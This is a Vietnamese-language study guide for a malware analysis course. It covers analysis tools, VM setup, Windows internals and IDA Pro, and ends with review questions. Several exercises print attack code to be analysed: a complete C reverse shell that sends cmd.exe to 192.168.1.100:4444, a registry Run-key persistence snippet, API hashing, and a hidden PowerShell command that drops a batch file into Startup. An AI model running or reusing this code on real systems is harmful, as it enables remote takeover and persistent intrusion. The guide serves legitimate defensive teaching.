Tài liệu ôn tập: Phân tích Mã độc (Malware Analysis)¤
CHƯƠNG 1: Giới thiệu về Phân tích Mã độc¤
1.1 Mục tiêu của Phân tích Mã độc¤
Phân tích mã độc nhằm cung cấp thông tin cần thiết để ứng phó với các cuộc tấn công mạng. Các mục tiêu cụ thể:
- Xác định chính xác điều gì đã xảy ra trong hệ thống
- Tìm ra tất cả các máy và file bị nhiễm
- Phát triển chữ ký (signatures) để phát hiện mã độc trên mạng
Hai loại chữ ký chính:
- Host-based signatures: Phát hiện mã độc dựa trên những thay đổi trên máy nạn nhân (file tạo ra, thay đổi registry). Hiệu quả hơn vì tập trung vào hành vi của mã độc, không phải đặc điểm của nó — giúp phát hiện cả mã độc đã bị xóa hoặc đã biến đổi hình dạng.
- Network signatures: Phát hiện mã độc qua giám sát lưu lượng mạng. Kết hợp với phân tích mã độc sẽ cho kết quả chính xác hơn, ít false positive hơn.
1.2 Tại sao cần Phân tích Mã độc?¤
- Antivirus không đáng tin cậy hoàn toàn
- 50–97% các vụ breach liên quan đến mã độc
- "70–90% mẫu mã độc là duy nhất với từng tổ chức" — Verizon DBPR 2015
Ba mức độ xử lý sự cố: 1. Cơ bản: Reimage lại máy 2. Nâng cao: Incident Response — phân tích log, network traffic, tiến trình lạ 3. Trưởng thành: Thu thập Threat Intelligence — đánh giá tác động, rủi ro, xác định loại mối đe dọa (APT, tài chính, hacktivism...)
1.3 Các loại Mã độc¤
Phân loại chung:¤
| Loại | Mô tả |
|---|---|
| Virus | Tự sao chép, lây lan vào file khác |
| Worm | Tự sao chép, lây lan qua mạng không cần file host |
| Trojan | Giả dạng phần mềm hợp lệ |
| Bot / Botnet | Nhận lệnh từ C&C server |
| Rootkit | Ẩn sự tồn tại của mã độc khác, thường đi kèm backdoor |
| RAT | Remote Access Trojan — kiểm soát máy từ xa |
| Backdoor | Cho phép attacker điều khiển hệ thống |
| Downloader | Chỉ tải về mã độc khác, dùng khi mới xâm nhập |
| Launcher | Khởi chạy mã độc khác, thường dùng kỹ thuật stealth |
| Scareware | Dọa người dùng mua sản phẩm giả |
| Spyware / Keylogger | Đánh cắp thông tin |
| Adware | Hiển thị quảng cáo |
| Credential Stealer | Đánh cắp mật khẩu, hash |
Payload:¤
- Shellcode: Tập lệnh được inject và thực thi trong tiến trình bị khai thác
- Staged payload: Dùng nhiều payload kết hợp
- Stageless payload: Chứa toàn bộ thứ cần thiết cho reverse shell
Công cụ hỗ trợ tấn công:¤
- Packer / Crypter: Nén/mã hóa mã độc để tránh phát hiện
- Exploit Kit: Bộ công cụ khai thác lỗ hổng
- Builder: Tạo ra các biến thể mã độc
1.4 Phân loại theo quy mô:¤
- Mass malware: Lây nhiễm càng nhiều máy càng tốt
- Targeted malware (APT): Nhắm vào mục tiêu cụ thể, khó phát hiện và gỡ bỏ hơn rất nhiều
1.5 Các phương pháp Phân tích¤
| Phương pháp | Ưu điểm | Nhược điểm |
|---|---|---|
| Static Analysis | Không cần chạy, an toàn, phân tích sâu | Chậm, cần kiến thức kỹ thuật cao, obfuscation/packing cản trở |
| Dynamic Analysis | Nhanh, thấy hành vi thực tế | Dễ bỏ sót, cần môi trường an toàn |
| Hybrid | Kết hợp cả hai, hiệu quả nhất | Phức tạp hơn |
Trong thực tế: tìm thấy gì đó trong disassembly → xác nhận bằng cách chạy thực tế → kết hợp Memory Forensics nếu cần.
1.6 Nguyên tắc chung khi Phân tích¤
- Đừng sa lầy vào chi tiết — Tập trung vào tính năng chính, bỏ qua phần quá phức tạp ban đầu
- Linh hoạt dùng nhiều công cụ — Không có một công cụ nào phù hợp cho mọi tình huống
- Luôn cập nhật — Mã độc và kỹ thuật phân tích liên tục thay đổi theo kiểu "mèo đuổi chuột"
1.7 Công cụ cơ bản¤
- PE Viewer: CFF Explorer, PE Studio, PEview
- Disassembler / Debugger: IDA Pro, x64dbg, Ghidra, WinDbg
- Triage nhanh: VirusTotal, strings, hex editor (010 Editor)
- SysInternals Suite: Process Monitor, Process Explorer, Autoruns
- Khác: Wireshark, INetSim, Regshot
1.8 Nguồn lấy mẫu mã độc¤
CHƯƠNG 2: Phân tích Mã độc trong Máy ảo¤
2.1 Mindset trước khi bắt đầu¤
- Tự bảo vệ mình — luôn dùng môi trường cô lập
- Ghi chú mọi thứ trong quá trình phân tích
- Phân tích động = chạy mã độc có chủ đích trong môi trường kiểm soát
2.2 Môi trường phân tích: Máy thật vs Máy ảo¤
Máy thật (air-gapped): - ✅ Mã độc không phát hiện được VM → chạy đúng hành vi - ❌ Không có Internet → một số tính năng không hoạt động - ❌ Khó dọn dẹp, phải reimage
Máy ảo (VMware, VirtualBox...): - ✅ Phổ biến nhất, dễ snapshot/restore - ✅ Bảo vệ máy host - ❌ Mã độc có thể phát hiện VM và thay đổi hành vi
2.3 Cấu hình mạng trong VMware¤
| Chế độ | Mô tả |
|---|---|
| Isolated | Tắt hoàn toàn network |
| Host-only | Chỉ kết nối với máy host, không ra Internet |
| NAT | Ra được Internet qua virtual router |
| Bridged | Kết nối trực tiếp vào LAN — nguy hiểm nhất |
Khuyến nghị: Dùng Host-only hoặc NAT + giả lập network bằng INetSim
2.4 Cách Mã độc phát hiện Máy ảo¤
Mã độc dùng nhiều kỹ thuật để phát hiện VMware:
1. Kiểm tra Registry:
HKLM\SYSTEM\ControlSet001\Control\Class\{4D36E968...}\0000\DriverDesc
→ "VMware SCSI Controller"
HKLM\SYSTEM\ControlSet001\Control\Class\{4D36E968...}\0000\ProviderName
→ "VMware, Inc."
2. Kiểm tra tiến trình và file:
- VMwareService.exe, VMwareTray.exe đang chạy
- Các file công cụ VMware được cài sẵn
3. Kiểm tra MAC address:
- 00-05-69, 00-0C-29, 00-1C-14, 00-50-56 → là VMware
4. Kiểm tra BIOS:
- Serial number có chứa chuỗi "VMware"
2.5 Sandbox¤
Ưu điểm: Tự động, nhanh, xuất báo cáo PDF, mô phỏng network services.
Nhược điểm nghiêm trọng: - Không chạy được nếu mã độc cần tham số dòng lệnh - Không kích hoạt được backdoor nếu cần packet C&C - Có thể bỏ sót hành vi xảy ra sau thời gian sleep dài - Mã độc có thể phát hiện sandbox và không chạy - Không xử lý tốt DLL (cần gọi đúng exported function) - Không nói cho bạn biết mã độc làm gì — đó là việc của analyst
2.6 LOLBAS — Living Off The Land¤
Mã độc lợi dụng các binary có sẵn của Windows (đã được Microsoft ký) để thực hiện hành vi độc hại:
Tiêu chí LOLBAS: - File được Microsoft ký, native trong Windows - Có chức năng "ngoài mong đợi" - Hữu ích cho APT/Red team
Ví dụ binary thường bị lạm dụng:
certutil.exe, rundll32.exe, msbuild.exe, bitsadmin.exe, wmic.exe
Chức năng bị lạm dụng: thực thi code, tải file, persistence qua ADS, UAC bypass, DLL sideloading
2.7 Chạy DLL¤
DLL không thể chạy trực tiếp → dùng rundll32.exe:
2.8 Công cụ Dynamic Analysis¤
Process Monitor (Procmon)¤
Giám sát: Registry, File system, Network, Process, Thread
| Loại giám sát | Mục đích |
|---|---|
| Registry | Xem malware tự cài vào registry thế nào |
| File system | Xem file nào được tạo/sửa |
| Process | Xem tiến trình con được spawn không |
| Network | Xem port nào đang listen |
Mẹo: Filter theo tên executable của mã độc trước khi chạy. Có thể filter theo syscall cụ thể: RegSetValue, CreateFile, WriteFile...
Process Explorer¤
- Hiển thị cây tiến trình với màu sắc: xanh lá = tiến trình mới, đỏ = vừa kết thúc, hồng = service, xanh dương = tiến trình thường
- DLL Mode: xem DLL nào đang được load vào tiến trình
- Properties → Verify: kiểm tra chữ ký Windows của file trên disk (không phải trong RAM → không phát hiện process replacement)
- Phát hiện document độc hại: mở file → xem Process Explorer có xuất hiện tiến trình con không
Regshot¤
- So sánh 2 snapshot registry trước và sau khi chạy mã độc
- Workflow: 1st Shot → chạy malware → 2nd Shot → Compare
Giả lập mạng với INetSim¤
- Giả lập các dịch vụ mạng (HTTP, FTP, DNS...) để mã độc "nghĩ" nó đang kết nối Internet
- Kết hợp với Wireshark để capture traffic
2.9 Case Study: SolarWinds (SUNBURST)¤
- Tấn công supply chain phát hiện bởi FireEye, gán cho APT29
- Trojan SUNBURST được nhúng vào
SolarWinds.Orion.Core.BusinessLayer.dll - Sleep 2 tuần trước khi liên lạc C2 → qua khỏi sandbox
- Sau đó triển khai: TEARDROP → BEACON (Cobalt Strike) → Lateral Movement
2.10 Case Study: PRC Nexus Espionage¤
- Chiến dịch gián điệp nhắm vào diplomat
- Kỹ thuật: hijack web traffic, deception in depth
2.11 Case Study: Mã độc đánh cắp tài khoản MXH¤
Chuỗi tấn công:
1. Mở Chrome đến aliexpress.us (đánh lạc hướng)
2. PowerShell tải WindowsSecure.bat → lưu vào Startup folder (persistence)
3. Tải Document.zip từ GitLab → giải nén
4. Tải project.py từ GitHub Gist → chạy bằng Python đi kèm
CHƯƠNG 3: Static Analysis với IDA Pro¤
3.1 Các công cụ Reverse Engineering phổ biến¤
| Công cụ | Loại | Nổi bật |
|---|---|---|
| IDA Pro | Disassembler + Debugger | Mạnh nhất, hỗ trợ nhiều nền tảng nhất, SDK Python |
| x64dbg | Debugger | Open source, tốt cho x64, kế thừa từ OllyDbg |
| OllyDbg | Debugger | Freeware, phổ biến cho x86, nhiều plugin |
| Radare2 | Disassembler | Open source, cross-platform, cạnh tranh IDA |
| Ghidra | Disassembler | Miễn phí, của NSA, ngày càng phổ biến |
3.2 IDA Pro — Các chế độ xem¤
- Graph Mode (mặc định): Hiển thị control flow dạng đồ thị
- Text Mode: Hiển thị dạng text truyền thống (Space để chuyển đổi)
Màu sắc mũi tên trong Graph Mode: - 🔴 Đỏ: Conditional jump không được thực hiện - 🟢 Xanh: Conditional jump được thực hiện - 🔵 Xanh dương: Unconditional jump - ⬆️ Lên: Loop
Navigation Band màu sắc: - Xanh nhạt: Library code - Đỏ: Compiler-generated code - Xanh đậm: User-written code → phân tích cái này
3.3 Các cửa sổ quan trọng trong IDA Pro¤
| Cửa sổ | Công dụng |
|---|---|
| Functions | Liệt kê tất cả function, L = Library function |
| Names | Tất cả địa chỉ có tên (function, string, data) |
| Strings | Các chuỗi tìm thấy trong binary |
| Imports | API được gọi từ DLL bên ngoài |
| Exports | Function được export (chủ yếu trong DLL) |
| Structures | Data structure đang active |
| Cross-references (Xref) | Nơi function/data được tham chiếu |
3.4 Điều hướng trong IDA Pro¤
- Double-click tên/địa chỉ → nhảy đến vị trí đó
- G → nhảy đến địa chỉ/tên cụ thể
- X hoặc Ctrl+X → xem tất cả cross-reference
- Forward/Back: như trình duyệt web
- Search → Text: tìm kiếm văn bản
3.5 Tùy chỉnh Disassembly¤
- Đổi tên: Click tên
sub_401000→ N → đặt tên có nghĩa (VD:ReverseBackdoorThread), IDA tự đổi ở tất cả nơi tham chiếu - Comment:
:→ comment tại chỗ;→ comment hiện ở tất cả Xref- Định dạng operand: Right-click → chọn hex/decimal/binary/char
- Named constants: Làm rõ các tham số Windows API
3.6 Graphing Options (Legacy Graphs)¤
- Flow chart: Control flow của function hiện tại
- Function calls: Đồ thị lời gọi hàm toàn chương trình
- Xrefs to: Các đường đến function (ai gọi function này)
- Xrefs from: Các đường từ function (function này gọi ai)
3.7 Địa điểm luyện tập¤
CHƯƠNG 4: Phân tích Mã độc Windows¤
4.1 Windows API¤
Windows API là tập hợp hàm rộng lớn, mã độc dùng để tương tác với OS. Hiểu Windows API là bắt buộc để phân tích mã độc.
Hungarian Notation — quy ước đặt tên tham số:
| Kiểu | Tiền tố | Ý nghĩa |
|---|---|---|
| WORD | w | 16-bit unsigned |
| DWORD | dw | 32-bit unsigned |
| Handle | H | Tham chiếu đến object |
| Long Pointer | LP | Con trỏ đến kiểu khác |
Handle: Như pointer nhưng không dùng được trong phép tính số học. Chỉ dùng để lưu và truyền vào hàm sau.
4.2 File System API¤
// Đọc/ghi thông thường
CreateFile, ReadFile, WriteFile
// Load file vào RAM — phổ biến trong malware
CreateFileMapping // load file từ disk vào memory
MapViewOfFile // lấy pointer đến vùng nhớ đó
Tại sao malware dùng File Mapping? - Dễ dàng parse PE header trong memory - Có thể thực thi file mà không qua Windows loader - Bypass một số cơ chế bảo vệ
Special Files:
\\server\share — Shared files
\\?\server\share — Tắt string parsing, cho tên file dài hơn
\\.\PhysicalDisk1 — Truy cập trực tiếp vào disk, bypass filesystem
file.txt:otherfile.txt — Alternate Data Stream (ADS)
ADS: Stream dữ liệu thứ hai gắn vào file, không hiển thị trong Explorer — thường dùng để ẩn payload.
Mark of the Web: Windows gắn metadata vào file tải từ Internet. Malware tìm cách bypass để tránh warning.
4.3 Windows Registry¤
Mục đích: Lưu cấu hình OS và ứng dụng. Malware dùng để persistence và lưu cấu hình.
5 Root Key:
| Key | Viết tắt | Mục đích |
|---|---|---|
| HKEY_LOCAL_MACHINE | HKLM | Cài đặt toàn hệ thống |
| HKEY_CURRENT_USER | HKCU | Cài đặt user hiện tại |
| HKEY_CLASSES_ROOT | — | Định nghĩa kiểu file |
| HKEY_CURRENT_CONFIG | — | Cấu hình phần cứng hiện tại |
| HKEY_USERS | — | Cài đặt cho các user |
Run Key — persistence phổ biến nhất:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Registry API:
Lưu ý: Hàm thực tế có suffix
W(Wide/Unicode) hoặcA(ASCII):RegOpenKeyExW
Autoruns (SysInternals): Kiểm tra ~25-30 vị trí registry tự động chạy khi khởi động.
4.4 Networking API¤
Berkeley Sockets (ws2_32.dll):
// Server side
socket() → bind() → listen() → accept() → send()/recv()
// Client side
socket() → connect() → send()/recv()
WinINet API (wininet.dll) — cấp cao hơn:
InternetOpen // Kết nối Internet
InternetOpenURL // Kết nối URL
InternetReadFile // Đọc dữ liệu tải về
4.5 DLL (Dynamic Link Library)¤
- Cùng định dạng PE như EXE, chỉ khác một flag
- DLL có nhiều exports, ít imports hơn EXE
- Entry point:
DllMain(không exported, khai báo trong PE header) DllMainđược gọi khi DLL được load/unload
Malware dùng DLL để: - Ẩn code độc hại trong DLL → inject vào tiến trình hợp lệ - Dùng DLL của Firefox để kết nối mạng thay vì Windows API (tránh detection)
4.6 Processes & Threads¤
Process: - Mỗi process có vùng nhớ riêng (virtual address space) - Hai process truy cập cùng địa chỉ ảo → thực tế ở RAM khác nhau
Tạo process mới (thường dùng tạo reverse shell):
CreateProcess(
NULL, // Application name
"cmd.exe", // Command line
NULL, NULL,
TRUE, // Inherit handles (quan trọng cho shell)
0,
NULL, NULL,
&startupInfo, // stdin/stdout/stderr → có thể là socket
&processInfo
);
Thread: - Process là container, thread là thứ CPU thực sự chạy - Các thread trong cùng process chia sẻ vùng nhớ - Mỗi thread có stack và register riêng - Khi context switch: OS lưu toàn bộ CPU state vào thread context
4.7 Mutex¤
Global object điều phối nhiều tiến trình/thread. Kernel gọi là mutant.
// Đảm bảo chỉ chạy một instance malware
HANDLE h = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "HGL345");
if (h == NULL) {
// Chưa có → tạo mới và tiếp tục
CreateMutex(NULL, TRUE, "HGL345");
} else {
// Đã có instance → thoát
ExitProcess(0);
}
Tên mutex hard-coded là một IoC tốt để nhận diện malware.
4.8 Services¤
- Chạy nền, không cần user input
- Thường chạy với quyền SYSTEM (cao hơn Administrator)
- Tự động khởi động cùng Windows → persistence
Service API:
OpenSCManager // Lấy handle đến Service Control Manager
CreateService // Đăng ký service mới (có thể set auto-start)
StartService // Khởi động service thủ công
Loại service malware hay dùng:
- WIN32_SHARE_PROCESS: Lưu code trong DLL, chạy chung trong svchost.exe
- WIN32_OWN_PROCESS: Chạy riêng trong process của nó
- KERNEL_DRIVER: Load code vào Kernel
Registry location:
HKLM\System\CurrentControlSet\Services\
Start = 0x03 (Load on Demand)
Type = 0x20 (WIN32_SHARE_PROCESS)
4.9 Kernel Mode vs User Mode¤
| User Mode (Ring 3) | Kernel Mode (Ring 0) | |
|---|---|---|
| Quyền truy cập | Hạn chế | Toàn quyền |
| Truy cập phần cứng | Qua Windows API | Trực tiếp |
| Nếu crash | Windows terminate process | Blue Screen of Death |
| Ai chạy | Hầu hết ứng dụng | OS, driver, AV, firewall |
| Chuyển sang kernel | Qua SYSENTER / SYSCALL / INT 0x2E | — |
Malware trong Kernel Mode: - Quyền lực hơn, audit không áp dụng - Hầu hết rootkit dùng kernel code - Nhưng đa số malware vẫn ở User Mode
4.10 Native API¤
- Interface cấp thấp hơn Windows API thông thường
- Nằm trong
ntdll.dll— cầu nối giữa user space và kernel - Không có tài liệu chính thức (undocumented)
- Malware dùng vì mạnh hơn và khó bị phát hiện hơn
Các hàm Native API phổ biến trong malware:
NtQuerySystemInformation // Thông tin system chi tiết
NtQueryInformationProcess // Thông tin process
NtQueryInformationThread // Thông tin thread
NtQueryInformationFile // Thông tin file
NtQueryInformationKey // Thông tin registry key
NtContinue // Return từ exception → chuyển execution phức tạp, gây khó debug
Direct vs Indirect SYSCALL: - Direct syscall: Malware tự gọi thẳng SYSCALL instruction, bypass ntdll hooks của AV/EDR - Indirect syscall: Nhảy vào giữa ntdll để lấy syscall number nhưng không bị hook
API Hashing: - Thay vì import theo tên → tính hash của tên API → dùng hash để tìm hàm lúc runtime - Tránh để lộ API name trong import table
BRAINSTORM CÂU HỎI ÔN TẬP¤
📘 Lý thuyết — Khái niệm¤
- Phân biệt host-based signature và network-based signature. Tại sao host-based signature hiệu quả hơn với polymorphic malware?
- Tại sao 70–90% mẫu mã độc là duy nhất với từng tổ chức? Điều này ảnh hưởng gì đến chiến lược phòng thủ?
- So sánh Static Analysis và Dynamic Analysis. Khi nào dùng phương pháp nào?
- Giải thích tại sao sandbox có giới hạn trong phân tích mã độc. Cho ví dụ cụ thể một kỹ thuật mà sandbox không phát hiện được.
- Rootkit khác backdoor như thế nào? Tại sao chúng thường đi cùng nhau?
- Phân biệt staged payload và stageless payload. Loại nào phổ biến hơn trong APT và tại sao?
- Tại sao malware thường dùng LOLBAS thay vì mang công cụ riêng?
- Giải thích khái niệm "mèo đuổi chuột" (cat-and-mouse) trong malware analysis.
🖥️ Môi trường & Công cụ¤
- Liệt kê ít nhất 4 cách mã độc phát hiện môi trường VMware. Làm thế nào để bypass từng cách?
- Tại sao nên dùng NAT hoặc Host-only thay vì Bridged khi phân tích malware?
- Trong Process Monitor, bạn filter thế nào để chỉ xem hoạt động của một executable cụ thể?
- Vì sao nút "Verify" trong Process Explorer không phát hiện được process replacement (process hollowing)?
- Regshot so sánh gì? Nó có phát hiện được thay đổi trong memory không?
- INetSim giải quyết vấn đề gì mà ApateDNS không làm được?
- Tại sao không nên chạy Process Monitor quá lâu?
⚙️ Windows Internals¤
- Handle khác pointer ở điểm nào? Cho ví dụ một handle thường gặp.
- Tại sao malware thích dùng
CreateFileMapping+MapViewOfFilehơnReadFile? - Alternate Data Stream là gì? Làm thế nào để tìm ADS trên một file?
- Giải thích Run Key persistence. Sự khác nhau giữa HKLM và HKCU Run Key?
- Tại sao tên Mutex hard-coded là một IoC tốt?
- Giải thích tại sao malware dùng
WIN32_SHARE_PROCESSservice ẩn trongsvchost.exe. - Phân biệt process và thread. Thread context là gì?
- Tại sao quyền SYSTEM nguy hiểm hơn Administrator?
- Native API (ntdll.dll) khác Windows API thông thường ở điểm nào? Tại sao malware thích dùng?
- Direct syscall giúp malware bypass được gì? Tại sao AV/EDR khó detect?
🔬 IDA Pro & Reverse Engineering¤
- Trong IDA Pro, Navigation Band màu xanh đậm có ý nghĩa gì? Bạn nên tập trung phân tích phần nào?
- Cross-reference (Xref) dùng để làm gì? Cách xem tất cả Xref của một function?
- Tại sao nên đổi tên
sub_401000thành tên có nghĩa ngay khi hiểu chức năng của nó? - Mũi tên màu đỏ và xanh trong Graph Mode có ý nghĩa gì trong phân tích control flow?
- Function có kích thước lớn thường có ý nghĩa gì trong phân tích?
💻 Câu hỏi có Code (C/C++/ASM)¤
31. Đọc đoạn code sau và xác định mục đích:
HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "GlobalMalware123");
if (hMutex != NULL) {
ExitProcess(0);
}
CreateMutex(NULL, FALSE, "GlobalMalware123");
32. Phân tích đoạn code tạo reverse shell:
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(4444);
sa.sin_addr.s_addr = inet_addr("192.168.1.100");
connect(s, (struct sockaddr*)&sa, sizeof(sa));
STARTUPINFO si = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;
PROCESS_INFORMATION pi;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
33. Registry persistence:
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_WRITE, &hKey);
RegSetValueEx(hKey, "WindowsUpdate", 0, REG_SZ,
(BYTE*)"C:\\Users\\Public\\malware.exe",
strlen("C:\\Users\\Public\\malware.exe") + 1);
RegCloseKey(hKey);
34. Đọc assembly sau từ IDA Pro:
push offset aMutexName ; "HGL345"
push 0
push 1F0001h
call OpenMutex
test eax, eax
jnz short loc_401050 ; Đã có instance
push offset aMutexName
push 0
push 0
call CreateMutex
loc_401050:
; tiếp tục...
test eax, eax + jnz hoạt động thế nào?
35. File Mapping để thực thi PE:
HANDLE hFile = CreateFile("payload.dll", GENERIC_READ, 0,
NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID pBase = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
// Parse PE header tại pBase
PIMAGE_DOS_HEADER pDOS = (PIMAGE_DOS_HEADER)pBase;
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)((BYTE*)pBase + pDOS->e_lfanew);
36. Nhận diện loại mã độc từ import table:
Nếu IDA Pro / PE Studio hiển thị các import sau, hãy đoán loại mã độc:
keybd_event / GetAsyncKeyState / SetWindowsHookEx → ?
InternetOpen / InternetOpenURL / InternetReadFile → ?
RegSetValueEx / CreateService / CreateFileMapping → ?
CryptEncrypt / CryptGenKey / FindFirstFile → ?
37. API Hashing — tại sao đoạn code này khó phân tích?
DWORD hashAPI(const char* name) {
DWORD hash = 0x1505;
while (*name) {
hash = ((hash << 5) + hash) + *name++;
}
return hash;
}
// Thay vì: LoadLibrary("kernel32.dll")
// Malware dùng:
FARPROC fn = resolveByHash(0xEC0E4E8E); // hash của "LoadLibraryA"
38. Phân tích chuỗi PowerShell trong case study:
powershell.exe -windowstyle hidden Invoke-WebRequest `
-URI https://raw.githubusercontent.com/.../start `
-OutFile "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat"
-windowstyle hidden làm gì? Tại sao lưu vào thư mục Startup? Đây là kỹ thuật persistence gì?
39. SolarWinds SUNBURST sleep 2 tuần trước khi hoạt động. Điều này bypass được cơ chế bảo vệ nào? Sandbox xử lý Sleep() thế nào và tại sao vẫn không đủ?
40. Cho một DLL có exports: Install, Uninstall, ServiceMain. Bạn sẽ chạy thử như thế nào? Tại sao chọn Install trước?
💡 Gợi ý ôn tập: Các câu 31–38 có code — nên vừa đọc vừa chạy thử trong VM hoặc mở trong IDA/x64dbg để quan sát behavior. Câu 36 đặc biệt hữu ích để nhận dạng nhanh loại mã độc qua import table trong kỳ thi thực hành.